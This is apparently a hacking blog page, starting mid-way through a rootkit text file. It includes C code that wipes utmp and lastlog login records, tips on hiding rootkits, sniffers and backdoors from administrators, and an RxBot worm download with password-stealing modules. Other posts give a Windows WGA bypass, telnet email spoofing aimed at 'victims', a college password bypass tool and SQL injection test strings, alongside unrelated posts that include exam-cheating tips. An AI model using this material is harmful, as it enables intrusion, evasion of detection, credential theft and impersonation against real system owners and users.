while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);
close(fd);
}
}
}


size = sizeof(struct lastlog);
fd = open('/var/adm/lastlog', O_RDWR);
if (fd < 0)
perror('/var/adm/lastlog');
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, 'ttyq2 ', 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);
close(fd);
}
}

-----END-----

10 - Rootkit Extra Utilities

I will try and keep this section short due to there isn't really that much to say. As you should know by now and as I have mentioned rootkits come in all shapes and styles. Some rootkits are well known for their advance log cleaner, others for their advance Backdoor and others for their advance, stealth hard to remove installation procedure. There are some rootkits which are well known for being SAR (Swiss Army Rootkits) basically, they are rootkits with average features plus a whole load of extra utilities such as Bots, DdoS, Extra scripts, Password crackers, Killer scripts etc

Rootkits that contain scripts that cause DDoS attacks are considered dangerous; if an attacker were to exploit 100's of servers and install such a rootkit those servers would then become "Zombies" they could launch DDoS attacks (SYN, PING, FINGER, UDP, TCP) against chosen targets. Rootkits are continuously being made more advance and extra utilities are being added on each time. In the future I personal predict that rootkits will be a major threat to national security.......

That�s really all I have to say for this section. Lets move on.

11 - Kernel Rootkits (More Detail)

We have already briefly looked at "Kernel Rootkits" but we haven�t really looked at them in close detail. In this section I plan to analyze and expose the basics of a kernel rootkit. If you�re not to sure on what the "Kernel" is I recommend you skip this section and move onto the next section (2.5) then come back to this section when you feel that you are ready.

The best way to start of this section is talk about how Kernel rootkits actually work. Kernel rootkits work, basically by exploiting LKM. (Loadable Kernel Modules)LKM are used to load device drivers on a "as-needed" bases. LKM are usually only exploited so the attacker can perform malicious activity.

Kernel rootkits are way more dangerous than Application rootkits because instead of just replacing the basic binaries like "ls" and "netstat" they attack the kernel directly and manipulate system-calls like open() and read(). As we know application rootkits replace binaries, if the administrator was clever and analyzed the actual binaries which had been replaced they will realize the differences in size (e.g. the program could contain an extra 128 bytes) However, this wouldn't be possible with Kernel rootkits because instead of actually changing the size and structure of the program, they just change the way the program operates. For example programs like "ps" use an open system call "open()" and reads information from files in the directory /proc, where also the information about running processes is kept.

For more information on rootkits and to mess about with typical examples of each rootkit type... Considering obtaining a copy of..

Application rootkit - t0rn Kernel rootkit - Adore (Also known as LKM-Adore)

12 - How the Kernel Works

This will be a very basic and very short section and is only here to help those understand how the Kernel works. What is a Kernel? In English and using non-technical jargon a Kernel is basically the "Core" of the OS (Linux, Unix, Windows). Without the Kernel an Operating System could not load.

The Kernel is one of the first things which load in a OS and it remains in the main memory. Since it's staying in the main memory its *very* important for the Kernel to be as small as possible, but at the same time be able to provide all the essential programs, services, devices, applications and drivers for the OS. Typically, the kernel is responsible for I/O(Input and Output) management, Device drivers, CPU management, process and task management, and disk management.

The kernel looks something like this....

|------------------
|Applications and |        - LKM - System Calls
|_Programs_ _ _ _ |
*******************
*  MAIN KERNEL    *        - Consists of:  Memory Management
*                 *                        I\O Management
*******************                        CPU Management
|    Hardware      |                       Device Drivers
|_ _ _ _ _ _ _ _ _ |

Understand? Quite simple really...

13 - Analyzing an Application Rootkit "T0rnkit"

This is a professional analysis of the rootkit "T0rn" this was taken of off Mcaffe's main site.

"T0rnkit attempts to hide its presence when installed. During installation it first shuts down the system-logging daemon, syslogd. It then replaces several other system executables with trojanized versions and adds a trojanized ssh daemon to the system as well. Programs that are replaced are, among others; du, find, ifconfig, login, ls, netstat, ps, sz and top. If the system administrator uses these somewhat vital functions they report normal looking information, but the processes and network connections that the hacker uses aren't shown. Finally T0rnkit starts a Sniffer in background, enables telnetd, rsh and finger daemons in "/etc/inetd.conf", restarts inetd to activate changes made and starts syslogd again. This all without the system administrator knowing about it. Noteworthy is that all new programs in the t0rnkit all have the exact size of 31.336 bytes. T0rnkit usually can be found in the directory /usr/src/.puta, but of course not if it already has been activated because the command 'ls' will have been replaced. With the standard installation of t0rnkit TCP port 47017 is open for root access to the system. A modified version of this rootkit was also distributed by a variant of Unix/Lion worm.

A system administrator that is a little bit into the security world can find a with t0rnkit infected system pretty fast because of the change in file sizes and a simple port scan will reveal the open port, but funny enough most people don't have this 'expertise' "

14 - A variety of hiding methods

To finish off section two, I will give you some tips that I have found to be useful when hiding certain features of a rootkit e.g. Backdoor, Sniffer etc)

Lets start by reviewing ways to successfully hide the actual rootkit...

To start off with, it would be a good idea to hide the compiled rootkit in a hidden directory. I would recommend creating a directory you suspect the administrator will not go near. For example try hiding it in a folder situated in /var/something/something/something make it as long as possible and rename the file using the "mv" command to something the admin will not suspect is a "suspicious" file (e.g. Kernel-023, pso, ls2 etc)

Now when running the sniffer make sure you add the character "&" behind of it, like this "lnsniffer&", the "&" tells the system to continue running the program even when the user is logged out. However, this does provoke a slightly higher risk. If you leave the Sniffer running all day and the sysadmin logs in he may notice something is up if he was to execute the "ps" command. Sniffers are great programs for getting passwords, if a TCP Sniffer was installed on a regular Ethernet connection you could capture a good 50 odd passwords! The downside to Sniffers are they may need to be modified slightly before you can run them, also some IDS programs can detect changes made to the Ethernet card (e.g. When the card is switched into promiscuous mode the IDS will know and alert the admin) :-(

Now if your running a "Kernel rootkit" its quite easy to hide the Sniffer, because if the kernel rootkit is any good it should allow the Sniffer to hide the promiscuous flag of the network interface. The system call to Trojan in this case is sys_ioctl() (You don't really need to know that, unless your planning on writing your own kernel rootkit)

"Hiding network connections" is another technique you may wish to use. To sucessfully hide network connections it can be done by preventing the system logging the activities inside �/proc/net/tcp� and �/proc/net/udp�. The idea for a kernel rootkit is to trojan the sys_read() command. Whenever reading these two files and a line matching a unique string, the system call will hide it from user.

The above techniques can then be brought together to successfully hide a backdoor. Most backdoors you install will listen on a certain port, this informartion is then logged into /proc/net/tcp and /proc/net.udp, you would need to manipulate the sys_read() system call to sucessfully hide the backdoor.

Now it's important that you know using rootkits could be a very easy way to get busted. There have been times when I have just gone into a system with a custom made log cleaner and nothing else. System administrators are getting quite clever and with the rapid growth of advance programs like "Promiscuous Detectors" and "Chkrootkit" it's easy for the attacker to slip up and get busted. Kernel rootkits are the best type of rootkits to use when penetrating through a system but they are also the most complex and will require patience and understanding before they can be put to any real use. Before you just go out and install a bunch of rootkits on your "rooted boxes" I would strongly recommend experimenting with them on your own box, so you learn EXACTLY what they are doing. If you haven�t got a box to practice on I recommend you download and install a copy of VMWare, NEVER take risks! There is more to life than computers, don't mess your whole life up with some stupid childish mistake!

Now I'm finished here with rootkits (Partly because my fingers are getting tired) I hope you have learnt SOMETHING from this t-file. I am sorry that I didn't really go into much detail about kernel rootkits, system calls and LKM's or ways to protect yourself from such malicious software but this is the "First Edition" I do eventually plan to develop this paper and continuously add to it as rootkits develop but no promises ;-)

Hope you learnt something; I will finish off this paper by leaving with you some useful links and recommended reading material.

15 - Recommended reading and useful Links

Sunnie Hawkins, Understanding the Attackers Toolkit, January 13, 2001,URL: http://www.sans.org/infosecFAQ/linux/toolkit.htm
Andrew R. Jones, A Review of Loadable Kernel Modules, June 12, 2001, URL: http://www.sans.org/infosecFAQ/linux/kernel_mods.htm
Jason Drury, Sniffers: What are they and How to Protect From Them, November 11, 2000, URL: http://www.sans.org/infosecFAQ/switchednet/sniffers.htm
DeokJo Jeon, Understanding DDOS Attack, Tools and Free Anti-tools with Recommendation, April 7, 2001,URL: http://www.sans.org/infosecFAQ/threats/understanding_ddos.htm
Steve Gibson, The Strange Tale of the Denial OF Service Attacks Against GRC.COM, Gibson Research Corporation, Aug 31, 2001, URL: http://grc.com/dos/grcdos.htm
Black Tie Affair, Hiding Out Under UNIX, Volume Three, Issue 25, File 6 of 11, March 25, 1989, URL: http://www.phrack.org/show.php?p=25&a=6
Christopher Klaus, Backdoors, August 4 1997, URL: http://secinf.net/info/unix/backdoors.txt
Cra58cker, A Crash Course in Backdoors: http://www.invisibleghosts.net
16 - Credits

This paper couldn't have been put together if it wasn't for the following people...

Daremo - Explained the procedure used to disassemble and trace an installed rootkit.

Cra58cker - I wrote this ;-)

Invisible Ghosts - My inspiration

Sailmap Manap - I quotes him quite a lot

Invisible Evil - Helped with the hiding methods

Mcaffee - Provided the analysis of the "T0rn" rootkit

Author of T0rn - For giving me something to write about!

--> Read Full Article...

Follow us on Twitter Follow this blog

Disable Windows WGA Validation check

Posted by X.E.R.O

Disable Windows WGA Validation check

This describes how to disable the Windows Genuine Advantage Validation Check using Java script.
When you go to the Windows/Microsoft Update site, before you click Express or Custom, type the following into your address bar:

Java script:void(window.g_sDisableWGACheck='all')

and press enter. This disables the WGA check, and allows you to download updates without checking authenticity of your Windows copy.
--> Read Full Article...

Follow us on Twitter Follow this blog

Tips To Improve Your Coding And Project Programming

Posted by X.E.R.O

Tips To Improve Your Coding And Project Programming:
"I originally wrote this article over a year ago. But after going though it I fixed allot of mistakes in grammar and composition. I also added a few things."

Plan out what you will do before you do it.
This may seem trivial, but the hour you spend doing it will save you many hours down the road. I have learned this the hard way many times. As this may seem obvious, the only reason it is such is because you just thought of it. It won’t be nearly as fresh when you come back tomorrow. I have a full guide on planning projects here.

Make your variable names as descriptive as possible.
It doesn’t matter if the variable ID doesn’t exist, if it is with a bunch of results with result_ before it, make it result_id. This will make easier for you or any future programmer to do it. I have had to work on code where everything wasn’t well named; it was a major, multi-hour pain.

COMMENT YOUR CODE!!!!
This is by far the most important one. No matter how bleeding obvious the code looks now, it won’t be in 10 days when you have a bug that needs fixing. Comment your code for other programmers and yourself. Don’t be afraid to put long comments where they are needed, they do not affect speed. Just don't go overboard, comments explain what you are doing. Don't write a small novel over what this code did to get here and its background.

If a piece of code is used allot and may be changed, make it an include.
This is one again I have learned the hard way with deadlines just hours away. An include means one change and it’s done in every file. Typing it out every time not only makes the code messier, it makes it hard to edit. Lets say your page has a header that goes into every page. You present it to the client and he finds one error. This could mean a 25 file fix up if you don’t use includes. But if the header file was an include, it is a no problem deal.

To each its own, don’t make two things in one file.
There is no crime in making allot of files for a project. If you have two different parts that are in the same process (a forums reply box and the file that actually posts it for example), use two different files.

Don’t reinvent the wheel.
You will have projects that have the same functions in part. It is not a crime to take the code from an old project and modify it, doing so gives the client better code and saves you time. I use the same code from a project I did about a year ago for a user system. Why? I use it because its rock solid code that works every time. All I would do should I remake it is rewrite the same code, possibly some bugs with it. Similar projects mean similar code, whether you take advantage of it or not.

Don’t overuse OOP
Among programming techniques, Object Oriented Programming is a pile driver. Insane power and ability, but extremely resource intensive and large. Using OOP takes a long time to process and run. The flexibility and power it provides should one be used for pieces you will reuse on large projects. If the project isn’t large, OOP may be overkill. If that piece of code doesn’t need to be reused frequently, it may not need to be an object.


Project:

Set realistic deadlines.
NEVER give a deadline you don’t think you can make, all that can do is make the client mad and you stressed. It is better to give a deadline you think you can beat, because if you make it better the client will be happier. Should you not make it early, you have time for the unexpected. The other reason you should do this is most-nighters. There is nothing harder to edit then code made by a programmer in a time crunch, even if that programmer is you. I have done most-nighters to meet deadlines before. When you are tired and running on caffeine, your code gets messier and messier to the point you can’t read what you just wrote.

Never go into a project you can’t or won’t do.
This one is bad you both you and the client. If you don’t think you can do a project, don’t try to. What will happen is you spend extra hours trying to do this, you will eventually say you can’t do this, or raise your price. The client will either leave you or never use you again and give you bad reviews. I’ve turned down many high paying projects because I did not know how to use the script they wanted modified.

Keep the client updated.
Updated clients are happy clients. I would never go back to a programmer who tries to avoid contacting me on what’s going on. I would want a programmer who messages me when I come online, telling me what’s being done. Even if it is not a complete module being finished, I still want to know it’s being worked on.

Never
compromise your price.

I’ve had clients come to me with a CMS project for $300. In a money crunch, $300 sounds awful nice, you might be almost inclined to accept. Just take into consideration what you are doing to yourself. You are working just as hard on a project for less money. When a project for a fair price comes up you must turn it down because you are busy. It doesn’t end there though, if somehow it goes public that you gave a cut rate job, there will be people left and right asking you for a cut rate job. You don’t want a reputation for that. There are people who will pay the higher price for a good job. It is better to wait for a good one to come then to compromise your pricing standards.

I have also found that the ones expecting cut rate jobs are the hardest clients to work with. A low price either means they have no experience in what it takes to make a site like they are asking for, or they just don’t care. Either way, a bad price is a warning sign of a hard to deal with client.

Don’t work for free
This could be categorized in the same place as the previous tip. But I feel it deserves its own paragraph.

Any programmer who has been in the business for a while has had many people asking for free work. Generally they are broke kids looking for a free script. They generally make promises they never intend to keep, the common ones I hear are
  • When the site makes money you will get X% of it
  • I am outsourcing you, if I like your work many paying projects will follow
  • This will look great on your portfolio. We will both become rich off of this!.
All these have problems. One and two require the unchecked honesty from the client over money. Legally speaking, he could run with your code and there is nothing you can do about it. The final one is true, but if you need to expand your portfolio, you should not do it for someone else. If you need an extra project to show clients, do it for yourself or a paying client. That way you maintain the rights to the code and can use it whenever you want.

Make your terms clear before the project start.
I have had clients mad at me to the point where they left me even though I had the upfront fee. All because I wouldn’t do an addition for free. Clients don’t know how it works, even if they think they do. You would be surprised at what clients have asked me to do for free. The best way around this is to make it as clear as you can what you will do, what you will not do and what you will charge more for. I make sure all my clients read my policies before I seriously consider doing the project. That way if something comes up you have something on your side so he had no right to get mad.

Give the client his moneys worth, always.
No matter who gets the short end of this, give the client what he paid for. If the job takes half the time you expected, he will still give you full money. But if the project took longer then expected, still do a job to its fullest. Happy clients return to a programmer that gave them what they wanted, it is good for future jobs to keep your standards high. Returning clients generally pay well because they know you aren’t a scam.

Always have an upfront
When I was just starting things to program professionally, I had a return client come to me for a project. I did multiple projects for him before, easy to work with and trustworthy. He wanted a mail script for a smallish amount of money. It was a fast job, so I didn’t require an upfront. When I finish, his paypal isn’t working, since he outsources me he has a deadline and needs to relay this to his client. He offers me hosting in return for the money, but I don’t need hosting so I decline. I then tell him since I trust him I will give him the files if he will pay me when he gets it fixed. We agree and he gets the files. He stayed in contact for about a week with excuses I didn’t really believe, but I didn’t want to start a fight. It He never replied back. I got scammed by a client who I had a rather long history with. The moral of this story is always charge upfront and never give out the work until you are payed. Even clients you trust could go bad over it. I should also add that the amount was $35. Yes, he went bad on me even with a extensive history over $35.

Happy programming!

By VILLAGE GUY
--> Read Full Article...

Follow us on Twitter Follow this blog

Remote Administrator Control

Posted by X.E.R.O

Remote Administrator Control 3.3.1

Features:
- Safe and fast computer control through Internet/Intranet network with TCP/IP protocol
- Computer administration and maintenance, e.g. on administrator or management workplaces
- User support and problem solution, e.g. helpdesk workplaces
- Observing teaching in computer classes
- File and folder transfer
- Activity recording when controlling a computer
- Activity monitoring or recording on a remote computer
- Starting commands and tools on a remote system
- Access to home computer from work through HTTP tunnel
- Access to work computer from home or another private network through HTTP tunnel

Image Hosted by ImageShack.us

Supported Operating Systems:
- Windows® 95
- Windows® 98
- Windows® ME
- Windows NT® 4.0
- Windows® 2000
- Windows® XP (32/64-bit)
- Windows® Server 2003 (32/64-bit)
- Windows Vista™ (32/64-bit)

DOWNLOAD
--> Read Full Article...

Follow us on Twitter Follow this blog

RxB0T Hack Tool

Posted by X.E.R.O

Rxbot (also known as rBot) is a win32 computer IRC worm written in the C++ programming language that spreads on computers running Windows XP, Windows 2000, Windows Millennium, and Windows 9x systems.

Rxbot contains a built in SFTP, HTTP, RLOGIN, and a SOCKS4 proxy server that can be spawned by the remote attacker. A keylogger component is also included in the Rxbot source distributions. One downside is that the internal keylogger uses the GetASyncKeyState API part of the Win32 Api, which is known to be a major memory consumer. Rxbot contains a library of specific security holes that are exploited by the worm to propagate on other systems.

Rxbot are generally used to conduct Distributed Denial of Service Attacks against websites

A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to, motives for, and targets of a DoS attack may vary, it generally consists of the concerted, malevolent efforts of a person or persons to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely.

Okay..enough of Gyan Already...

The latest and greatest version of RXbOT mods for FIREFOX !!!!

This version includes:
  • Encrypted strings (harder to decompile bot, use encrypt1.exe to encrypt)
  • MSN Spread
  • Working sym spread
  • MSSQL spread
  • Trend Micro Exploit Spread
  • Firefox (Gets users firefox passwords)
  • Pstore (Gets users IE passwords)
  • VNC Scanner
  • Sniffers
  • BuzShell
Special Notes: Note that ALL strings MUST BE ENCRYPTED (use the included encrypt1.exe) Also, this bot has troubles connecting to severs without DNS's, so either set up a free dns or hope your server has one. Run cleanup.bat before you compile.

Download RXbOT
--> Read Full Article...

Follow us on Twitter Follow this blog

Sending Mail with Telnet

Posted by X.E.R.O

Sending Mail with Telnet - send anonymous mail part 2

1) Open up MS-DOS/Command Prompt, by going to Run and typing cmd.

2) You should see a black window box. type in "nslookup".

3) At the very end of the message, there will be a ">". Type in "set type=mx"

4) Now another ">" will come up. Type in the name of the mail domain
of your victim. (hotmail.com, gmail.com, yahoo.com, etc.)

5) you should come up with a list of nameservers, MX servers, and
internet addresses. What we are interested in are the MX preferences.
Take note of the one with the highest MX preference. Now, type "exit".

6)Once you quit, type in this format: telnet [mail server] 25, where
telnet is the command, the mail server is the one with the highest MX
preference, and 25 is the port number.

Ex) telnet gsmtp183.google.com 25, where gsmtp183.google.com is a mail server for gmail.com.

7) If all is well, you should get a 220, meaning a greeting on a
connection. To make sure you are connected, type in "ehlo" or "helo".
If you get a 250 on either one, you're set.

8) now, type in "mail from:" and the email you will send "from".

Ex) mail from:

9) You should get a 250. Type in rcpt to: and the victim's email.

Ex) rcpt to:

10) Once you get a 250, you should now start the data. Type in data, and press enter. You should get a 354

11) First off, you have to start with the headers. Type "To: [Victim's
email nickname] [victims email]", without quotes. Press enter. Type
"From: [your fake name] [your spoofed email address]", without the
quotes. Press enter. Type in "Reply- To: [your spoofed email address]"
without quotes. This is the most basic type.

12) To start writing your message, press enter twice to skip a line.
Type whatever message you want, and BECAREFUL NOT TO SCREW UP. Your
message will screw up if you backspace.

13) To show that your message has ended, press enter, type "." (without
quotes) and press enter again. You should get a 250. Close your
connection by typing "quit" without quotes, and pressing enter.


Original Post By InVinZoR

--> Read Full Article...

Follow us on Twitter Follow this blog

PLAYSTATION 2 EMULATORS

Posted by X.E.R.O

PLAYSTATION 2 EMULATORS

PS2 emulators is the most popular category of our website and since PS2 is made, these emulators also got born and PCSX2 is the only most popular emulator which runs most of the games.

First I should let you introduce about Sony PS2

Click to view more...

  • CPU: Emotion Engine 300MHz, 128-bit
    INT, 128-bit FP, 24KB L1, 16KB Scratch,
    8KB VU0, 32KB VU1, 450 MIPS, 6.2 GFLOPS,
    66M Vertices/Sec, 2.4 GB/s Internal,
    1.2 GB/s Graphics, 3.2 GB/s Memory
  • Graphics: Sony GS 150MHz,
    1.2G Texels/Sec, 32-bit Color,
    4MB (48 GB/s), 1.2 GB/sec Bus
  • Sound: SPU2, 48 2D Voices, ADPCM, 2MB
  • Data: 24MB (2.6 GB/s), 16MB (81 MB/s),
    4.7GB Discs, Expansion 56K Modem Ethernet

PS2 Emulators List :

Here is a list of two most successful PS2 Emulators available for download at no cost and please don't expect them that they will run your all PS2 CD's as you know exceptions always exists and also these are in developing stages and later or sooner you would find them better then before.

NeutrinoSX2
PCSX2
--> Read Full Article...

Follow us on Twitter Follow this blog

Bypass Windows XP Password

Posted by X.E.R.O

Bypass Windows XP Password- Old Wine,New Bottle :D

Forgot Windows XP password ? or Wanna Bypass Ur college ones ? Watch the video and download the tool and U have the best of both worlds

[PS:] -

DISCLAIMER

+++++++++
I HAVE NOT MADE THE VIDEO. AN NOT UPLOADED THE TORRENT. BUT I HAVE TESTED THE WHOLE PROCESS AND IT HAS BEEN SUCCESSFULLY EVALUATED.

CHEERS :D


Watch the Video

Download ERD COMMANDER 2005 Torrent


Enjoy !!!


--> Read Full Article...

Follow us on Twitter Follow this blog

Emulator Giants - MAME

Posted by X.E.R.O

MAME is an emulator application designed to recreate the hardware of arcade game systems in software, with the intent of preserving gaming history and preventing vintage games from being lost or forgotten. The name is an acronym for Multiple Arcade Machine Emulator.

The first public MAME release (0.1) was on February 5, 1997, by Nicola Salmoria. As of version 0.125, released May 5, 2008, the emulator now supports 3753 unique games and 7076 actual ROM image sets and is growing all the time. However, not all of the games in MAME are currently playable; 879 ROM sets are marked as not working in the current version, and 35 are not actual games but BIOS ROM sets. The project is currently coordinated by Aaron Giles.

Design

The MAME core coordinates the emulation of several elements at the same time. These elements replicate the behavior of the hardware present in the original arcade machines. MAME can emulate many different central processing units (CPUs), both in number or types, including processors, audio and video specific chips, integrated circuits, microcontrollers, etc., including the needed elements for them to communicate together such as memory regions, RAM, data buses, peripherals, storage devices, etc. These elements are virtualized so MAME acts as a software layer between the original program of the game, and the platform MAME runs on.

Individual arcade systems are specified by drivers which take the form of C macros. These drivers specify the individual components to be emulated and how they communicate with each other.

Emulation philosophy

The stated aim of the project is to document hardware, and so MAME takes a somewhat purist view of emulation, prohibiting programming hacks that might make a game run improperly or run faster at the expense of emulation accuracy (see UltraHLE, a project aimed to run games at a playable speed). In MAME every emulated component is replicated down to the smallest level of individual registers and instructions. Consequently, MAME emulation is very accurate (in many cases pixel- and sample-accurate), but system requirements can be high. Since MAME runs mostly older games, a large majority of the games run well on a 2 GHz PC. More modern arcade machines are based on fast pipelined RISC processors, math DSPs, and other devices which are difficult to emulate efficiently. These systems may not run quickly even on the most modern systems available.

The MAME team has not diverged from this purist philosophy to take advantage of 3D hardware available on PCs today. It is a common but incorrect assumption that performance problems are due to some games' use of 3D graphics. However, even with graphics disabled, games using RISC processors and other modern hardware are not emulated any faster. Thus taking advantage of 3D hardware would not speed these games up significantly. In addition, using 3D hardware would make it difficult to guarantee identical output between different brands of cards, or even revisions of drivers on the same card, which goes against the MAME philosophy. Consistency of output across platforms is very important to the MAME team.

User interface

Although the main MAME program was once only made available as a command-line application for Microsoft Windows and DOS, there has been a minimalist GUI added to version .118 of the Windows distribution. In addition to the standard GUI there are several popular frontends which allow MAME to be launched from a more familiar graphical environment as well as providing facilities such as auditing ROMs. Additionally, the front ends make available more information about the games themselves, contributing significantly to the experience, such as history information and images of the arcade cabinets.

Some frontends have the sole purpose to launch games and hide the operating system. These frontends are generally used in MAME arcade cabinets, to enhance the illusion that the cabinet is a real arcade machine.



Posted by XERO . ALL RIGHTS RESERVED.

Technorati Tags: ,,
--> Read Full Article...

Follow us on Twitter Follow this blog

Tips to Crack Infosys test..

Posted by X.E.R.O

Tips to Crack Infosys test..

1. Study hard these books: more puzzles, puzzles to puzzle u and george summeres puzzles and teasers. Also solve infosys papers..

2. The questions come from shakuntala devi are easy and for less marks

3. The questions come from george summeres are for higher mark and hard

4. The test is of 50+50 marks
50 for aptitude and
50 for english

5. Time is total 90 min
60 for aptitude 10 questions
30 for english 50 or 30 questions

6. first u get aptitude paper and when time finishes they take the q.paper and give the english q.paper

7. The main thing u must do is
if u are less in time
in last five min copy questions to ur ans. paper
and after the time (90min) is over solve those remaining questions.
bcause they take long time to check the forms and collecting the papers

Note: try to sit as far as in sitting arrangements so u will get extra time for these papers the interviews r on next day of exam..

Gudluck

THANKS TO ABHISHEK
--> Read Full Article...

Follow us on Twitter Follow this blog

Sending Mail with Telnet

Posted by X.E.R.O

Sending Mail with Telnet - send anonymous mail part 1

Open the cmd prompt.

Type telnet server.com 25 (If you live in Canada, put 23) (where "server.com" is the name of the smtp (outgoing)

server of your email provider, such as smtp-server.austin.rr.com). This can be found by checking your account info in the program you normally use for email.

Type HELO server.com.

Type MAIL FROM you@server.com.

Type RCPT TO Friend1@anotherserver.com, friend_two@someotherserver.org, friend.3three@Someserver.com, etc.
To write the message, type DATA, followed by your message.

To end the message, put a period on a line by itself and press Enter.

Important Tips

Just a note: you may have to enter a ":" after the "mail from:" and the "rcpt to:"

This can also be used to send email as other people.

Some servers also accept 'ELHO' in place of 'HELO'

Warnings for users

Hotmail and some other mail services do not allow telnet access to their mail servers.

This can be tracked by anyone with enough technical skill, access to your ISP's records, and a bit of determination, so don't do anything you wouldn't want to possibly be associated with you.

How to Check Email With Telnet

Telnet can be used as another way to check email. The first two steps are for Windows only; Mac and Linux users should use their own methods for launching a terminal/console window.

Follow these Steps

Select Start in the bottom left corner of the screen, then select Run.

Once the Run window starts, type in cmd.

At the command prompt, type in telnet emailprovider.com 110 (where "emailprovider" is the name of the service you use for email).

Type USER yourusername (you may see what you type or not, and "yourusername" should be changed to whatever comes before the @ in your email address).

Then type in PASS yourpassword (if you can see what you type, you will see your password).

Type list.

You will see a list of items with labels like "1 1024" and "2 123556."

If you want to look at the message labeled 2 123556, type retr 2. You can replace the 2 with any other number to view other messages.

If you want to delete message 1 1024, type dele 1.

When you are done checking your email, type quit.
--> Read Full Article...

Follow us on Twitter Follow this blog

Most of Web Attacks

Posted by X.E.R.O

Web Attacks - Covering most of them...

1.)SQL injection

a)Description

SQL injection allows an attacker to execute sql commands on the server that he is attacking

b)Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use subselects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

c)Recommendation

Allow only a-zA-Z0-9 characters

d)References

http://www.unixwiz.net/techtips/sql-injection.html -> "SQL Injection Attacks by Example" by Steve Friedl
http://www.securiteam.com/securityreviews/5DP0N1P76E.html -> "SQL Injection Walkthrough" by SK
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf -> "Sql Injection" by Keven Spett
http://www.acunetix.com/websitesecurity/sql-injection.htm -> "SQL Injection Attack" by Acunetix
http://en.wikipedia.org/wiki/SQL_injection -> "SQL injection" by Wikipedia
http://www.cgisecurity.com/lib/advanced_sql_injection.pdf -> "Advanced SQL injection" by Chris Anley
http://www.cgisecurity.com/lib/more_advanc...l_injection.pdf -> "More Advanced SQL injection" by Chris Anley
http://www.sitepoint.com/article/sql-injection-attacks-safe -> "SQL Injection Attacks - Are You Safe?" by By Mitchell Harper
http://milw0rm.com/papers/16 -> "Sql Injection Paper" by zeroday
http://www.securityfocus.com/infocus/1709 -> "Penetration Testing for Web Applications (Part Two)" by Jody Melbourne and David Jorm
http://www.governmentsecurity.org/articles...sicTutorial.php -> "SQL injection Basic Tutorial" by ComSec
http://www.securitydocs.com/library/3587 -> "SQL Injection Attack and Defense" by Sagar Joshi
http://www.spidynamics.com/whitepapers/Bli...QLInjection.pdf -> "Blind SQL Injection" by Keven Spett
http://www.imperva.com/download.asp?id=4 -> "Blind SQL Injection" by Ofer Maor and Amichai Shulman
http://www.imperva.com/download.asp?id=2 -> "SQL Injection Signatures Evasion" by Ofer Maor and Amichai Shulman
http://www.cgisecurity.com/lib/sql-insertion.txt -> "SQL Injection/Insertion Attacks" by Roelof Temmingh / Haroon Meer
http://www.securityfocus.com/infocus/1644 -> "SQL Injection and Oracle, Part One" by Pete Finnigan
http://www.securityfocus.com/infocus/1646 -> "SQL Injection and Oracle, Part Two" by Pete Finnigan
http://www.securityfocus.com/infocus/1714 -> "Detecting SQL Injection in Oracle" by Pete Finnigan
http://www.cgisecurity.com/lib/Manipulatin...L_Injection.pdf -> "Manipulating Microsoft SQL Server using SQL injection" by Cesar Cerrudo
http://neworder.box.sk/newsread.php?newsid=7703 -> "Hacking Database Servers !" by Chintan Trivedi
http://injection.rulezz.ru/MSSQL-Injection.html -> "MS SQL Injection"
http://injection.rulezz.ru/MySQL-SQL-Injection.html -> "SQL инъекция в сервере MySQL"
http://injection.rulezz.ru/Oracle-SQL-Injection.html -> "SQL Injection в Oracle"
http://injection.rulezz.ru/sql-injection-by-example.html -> "SQL Injection Attacks by Example"
http://www.ngssoftware.com/papers/sqlinference.pdf -> "Data-mining with SQL Injection and Inference" by David Litchfield
http://www.summercon.org/2004/SQLInjectionSlides.pdf -> "Interesting SQL Injection Techniques and Countermeasures" by Paul Scragg
http://www.governmentsecurity.org/articles...hyItMatters.php -> "SQL Injection: Modes of Attack, Defence, and Why It Matters" by Stuart McDonald
http://www.hackthissite.org/articles/read/435 -> "Real4 / intro to sql" by killerguppy101
http://www.wisec.it/en/Docs/and_more_sql_injection.pdf "And More Advanced Sql Injection SiXSS, SiHRS and the Client Side SQL Injection" by Stefano Di Paola
http://rst.void.ru/papers/sql-inj.txt -> "Атаки sql-injection (mysql)" by 1dt.w0lf
http://www.owasp.org/index.php/PHP_Top_5 -> "PHP Top 5" by Owasp
http://rst.void.ru/papers/cookie_sql_inj.txt -> "SQL-injection и не только, через cookies" by 1dt.w0lf
http://rst.void.ru/papers/mysql_char_brute.txt -> "Посимвольный перебор в базах данных на примере MySQL" by 1dt.w0lf

e)Testing string/s

('), (/), (\), (#), (") (--), (-), (*)

f)Response

200 OK, database error messages, redirection to another page



2.)Cross Site Scripting (XSS)

a)Description

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user.
Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.
It's XSS because CSS means "Cascading Style Sheets"

b)Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them.
An attacker can steal the session cookie and take over the account, impersonating the user.
It is also possible to modify the content of the page presented to the user.

c)Recommendation

Allow only a-zA-Z0-9 characters or use the function htmlspecialchars(); for php

d)References

http://www.acunetix.com/websitesecurity/cr...e-scripting.htm -> "Cross Site Scripting Attack" by Acunetix
http://www.securityfocus.com/infocus/1709 -> "Penetration Testing for Web Applications (Part Two)" by Jody Melbourne and David Jorm
http://shiflett.org/articles/foiling-cross-site-attacks -> "Foiling Cross-Site Attacks" Chris Shiflett
